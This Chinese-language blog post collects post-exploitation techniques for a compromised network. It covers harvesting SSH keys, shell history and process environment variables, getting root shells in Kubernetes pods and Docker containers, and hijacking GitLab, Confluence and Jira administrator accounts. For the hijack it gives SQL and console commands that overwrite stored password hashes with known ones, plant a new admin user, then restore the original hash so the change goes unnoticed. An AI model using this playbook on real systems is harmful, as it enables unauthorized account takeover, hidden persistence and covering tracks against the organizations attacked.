首页 > 其他分享 >一些渗透后利用小结

一些渗透后利用小结

时间:2023-12-19 14:55:58浏览次数:25  
标签:密码 渗透 cwd 利用 user -- password 小结 id

内网主机信息收集

在项目中有遇到拿到shell的情况下,看到主机名是gitlab或者是什么gitserver,通常都有k8s或者docker服务,先判断是本机启动的服务还是容器里面启动的服务,然后再到对应的地方找配置文件和数据库之类的,然后可以到应用内去找有价值的东西

可以看~/.ssh/底下的文件,有没有id_rsa,或者是看known_hosts曾经连接过一些什么机器,再看看/etc/hosts有没有给其他机器添加了解析,还有各种历史记录和配置文件也值得留意

~/.ssh/
~/.bash_history
/etc/hosts
ss -tl[n]	#加-n参数不显示服务名,纯端口号
netstat -anp
ps -auxf / ps -ef 		看进程启动命令
cat /proc/pid/environ 	进程启动环境变量
cat /proc/pid/cmdline 	进程启动命令
ls -al /proc/pid/exe	进程可执行文件符号连接
ls -al /proc/pid/fd		进程打开的文件(file descriptor)

K8S

当你在master节点,k8s也可以像docker一样exec

kubectl get pods   #查看所有正在运行的pod

NAME                            READY     STATUS    RESTARTS   AGE
nginx-56b8c64cb4-t97vb          1/1       Running   3          1d

kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash	#假如当前pod只有一个容器,运行以下命令即可

<3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。

kubectl exec -it my-pod --container main-app -- /bin/bash

但是很多时候exec进去都不是root账户,这个时候我们需要找到实际启动容器的机器去

# 先找到pod的名称
kubectl get pods							# 获取容器
kubectl get pods xxxx-xxx-001				# 查看容器信息
kubectl get pods [-n] xxxx-xxx-001 -o wide		# 定位节点机器,输入-n会报错
# ssh到pod所在的节点
ssh k8s-node2											# ssh连接
docker ps -a | grep xxxx-xxx-001						# 查看docker容器
docker exec -it -u root [CONTAINER_ID] /bin/bash		# exec进入容器

GitLab

代码仓库,看有没有重要系统的源码打包弄出来做代审

初始密码

Gitlab 14安装初始化后,默认账户名是root,密码存放在配置文件

/etc/gitlab/initial_root_password

这个文件将在首次执行reconfigure后24小时自动删除,文件内容:

[root@gitlab ~]# cat /etc/gitlab/initial_root_password 
# WARNING: This value is valid only in the following conditions
#          1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
#          2. Password hasn't been changed manually, either via UI or via command line.
#
#          If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.

Password: NdaWiHzufnlWDshXY+xI52q4Br0x2O+mAsTeU6V1694=

# NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.

修改管理员密码

默认数据库应用是PostgreSQL,数据库是gitlabhq_production,表是users,管理员默认的id是1,用户名是root

通常docker拉起的gitlab都会有gitlab-rails,gitlab-psql一系列的应用

image-20231215145458757

不考虑改回密码的情况

gitlab-rails console

user = User.find(1)
new_password = 'Aa12345678!'
user.password = new_password
user.password_confirmation = new_password
user.save!
user.attributes

得到Aa12345678!密文就是这个,后面能用到
"encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"

image-20231218165752127

image-20231218170227084

考虑改回密码的情况

设置新密码为Aa12345678!,记得先查询一次保存旧密码的密文

gitlab-psql

\l
\c gitlabhq_production
select id,encrypted_password,name,username,admin from users where id=1;

-- 这一步是将密码更新为Aa12345678!
update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;

-- 这一步是恢复旧密码的密文
update users set encrypted_password='$2a$************************************vyy' where id=1;

image-20231218170847985

image-20231218171344087

Confluence

知识库系统,可以看有没有信息泄漏之类的东西

https://www.jianshu.com/p/7cc8ea59578a

默认配置文件位置:Linux:

/var/atlassian/application/data/confluence/confluence.cfg.xml

Windows:

C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml

数据库操作

mysql -uroot -pRadBank@530
show databases;
use confluence;
select id,user_name,active,email_address,credential from cwd_user;

-- 在数据库里面查看管理员用户
select u.id, u.user_name, u.active from cwd_user u  
join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id  
where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';  

-- 记得存一下原始密码
-- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R+HwxWC9zG3OjOXJbapmEl0+bEz/MelyLJ
-- 原始密码明文是123456

-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';

-- 密码是{PKCS5S2}前缀开头的,则用下面这个sql,这个管理员密码为 Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;

image-20231218171600217

用已知的密文进行替换

将管理员用户的密码修改为目前已知的明文密码的密文(不能直接在数据库中添加字段,否则在单个表中添加字段可能会出现问题)。

修改密码后,登陆后台,添加用户并将其加入管理员组。

最后,将管理员密码还原回去。

更改密码

登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码

参考文章:confluence后利用

Jira

项目与事务跟踪工具,经常和confluence一起出现

mysql -uroot -pRadBank@530
show databases;
-- Jira数据库中,用户信息都存放在表 cwd_user中
-- 切换到jiar数据库
-- CREDENTIAL字段是加密后的密码
use jiradb;
-- 看看管理员用户信息,待会会用到
select id,user_name,active,email_address,credential from cwd_user;

-- 记得保存原始密码,信息收集完成之后改回
-- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
-- 这个密码的明文也是123456

-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;

-- 最后记得复原密码
update cwd_user set credential='初始密码' where user_name='XXXX';

image-20231218171753903

标签:密码,渗透,cwd,利用,user,--,password,小结,id
From: https://www.cnblogs.com/FrenkyFu/p/17913731.html

相关文章

  • 利用夜莺开源版对H3C无线设备监控
    编者荐语:真正搞监控的人肯定知道SNMP水有多深,有时我甚至腹黑猜测,这些厂商是故意的吧,,,指标不标准,格式各异,只能靠一款灵活的采集器了,本文是夜莺社区用户写的文章,转给大家参考。author:网络小斐关于夜莺SNMP插件前文说明了利用夜莺开源版如何监控H3C交换机的,算是抛砖引玉;秉持着授......
  • C#利用自带的ZipFile压缩和解压zip文件,超级简单
    C#利用自带的ZipFile压缩和解压zip文件,超级简单翔星有10年+工作经验,高级软件工程师,可以解决各种问题​关注 你经常看TA的内容ZipFile类是.NETFramework4.5发布的一个C#压缩文件和解压zip文件的一个类库,它支持.NETFramework4.5以上版本,包......
  • 高效利用资源,解密Line多开技巧
    高效利用资源,解密Line多开技巧在当今数字化时代,人们越来越依赖通讯工具来进行沟通和社交。而作为一款备受欢迎的即时通讯应用,Line在全球范围内拥有众多用户。然而,对于一些用户来说,他们可能需要同时登录多个Line账号来管理个人和工作之间的沟通,或者是为了与不同的社交圈子保持独立......
  • 如何利用 python 制作词云图
     制作词云图是一种可视化文本数据的方法,可以通过展示词频来展示文本中的关键词信息。在Python中,我们可以使用第三方库`wordcloud`来制作词云图。本文将介绍如何利用Python制作词云图。 安装依赖库 在开始之前,我们需要先安装`wordcloud`库和`matplotlib`库。可以使用以下命令进......
  • 如何利用烛龙和谷歌插件优化CLS(累积布局偏移)
    简介CLS衡量的是页面的整个生命周期内发生的每次意外布局偏移的最大突发性_布局偏移分数_。布局变化的发生是因为浏览器倾向于异步加载页面元素。更重要的是,您的页面上可能存在一些初始尺寸未知的媒体元素。这种组合意味着浏览器在加载完成之前无法确定单个元素将占用多少空间。......
  • 如何利用烛龙和谷歌插件优化CLS(累积布局偏移) | 京东云技术团队
    简介CLS衡量的是页面的整个生命周期内发生的每次意外布局偏移的最大突发性_布局偏移分数_。布局变化的发生是因为浏览器倾向于异步加载页面元素。更重要的是,您的页面上可能存在一些初始尺寸未知的媒体元素。这种组合意味着浏览器在加载完成之前无法确定单个元素将占用多少空间。因......
  • 渗透测试实验报告一
    1. 实验目的和要求实验目的:理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。系统环境:KaliLinux2、Windows网络环境:交换网络结构2.实验步骤 1:利用Google语法搜索site:mit.eduinti......
  • [前端][Vue] 利用webstorage API存储数据
    关于webstorageAPI官方文档https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API省流说明1️⃣两种--localStorage&sessionStorage2️⃣存多久--local一直存到除非用户主动删,session等浏览器关掉就删3️⃣API--一样的,存setItem,读getItem,删一个remove,删全部......
  • Windows利用nvm进行node版本控制(node 版本管理工具nvm的安装与使用)
    为什么需要对node进行版本管理?不同项目的node的版本并不相同,不同版本之间的兼容性并不好,所以需要工具(node版本管理工具)进行快速切换node版本。下载与安装(Windows)1.卸载电脑原有node直接去控制面板/win11设置卸载就行2.安装nvmGithub下载地址下载地址里面有两类nv......
  • 2023ISCTF的fry题解及进阶格式化利用
    这题是一个比较好的进阶格式化利用。就是有点繁琐。先惯例checksec一下心脏骤停hhh。没事先分析一下Main函数int__cdeclmain(intargc,constchar**argv,constchar**envp){init(argc,argv,envp);puts("WelcometoISCTF~~~~~~~~~~~~~~~~");puts("Doyouwantto......